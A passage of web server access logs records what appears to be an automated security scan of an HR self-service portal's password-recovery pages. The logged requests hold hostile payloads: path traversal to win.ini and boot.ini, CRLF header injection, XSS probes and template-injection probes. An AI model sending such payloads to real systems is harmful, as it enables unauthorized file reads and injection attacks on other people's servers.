Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%0d%0aAppScanHeader:%20AppScanValue%2f1%2e2%2d172%0d%0aSecondAppScanHeader:%20whatever&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%0d%0aAppScanHeader:%20AppScanValue%2f1%2e2%2d172%0d%0aSecondAppScanHeader:%20whatever&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3E&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3E&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=\\'&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=\\'&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%uFF07&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%uFF07&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%uFF07&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error%23%26%3C%28%2C%2B%22%3E%3B&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error%23%26%3C%28%2C%2B%22%3E%3B&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%23%26%3C%28%2C%2B%22%3E%3B%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%23%26%3C%28%2C%2B%22%3E%3B%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WFXSSProbe%27%22%29%2F%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WFXSSProbe%27%22%29%2F%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3B&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3B&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=;&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=;&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:45 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini HTTP/1.1" 200 6746 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini HTTP/1.1" 200 6746 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WFXSSProbe%27%22%29%2F%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=HCL4ppsc4nbuggy${7*7} HTTP/1.1" 200 6693 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=HCL4ppsc4nbuggy${7*7} HTTP/1.1" 200 6693 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error%23%26%3C%28%2C%2B%22%3E%3B&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=\"&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=\"&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%23%26%3C%28%2C%2B%22%3E%3B%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd'&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd'&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd'&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.1" 200 6748 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.1" 200 6748 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=HCL4ppsc4nbuggy{{7*7}} HTTP/1.1" 200 6694 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=HCL4ppsc4nbuggy{{7*7}} HTTP/1.1" 200 6694 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action.=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action.=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=\\\"&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=\\\"&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:48 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%3C HTTP/1.1" 200 6676 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%3C HTTP/1.1" 200 6676 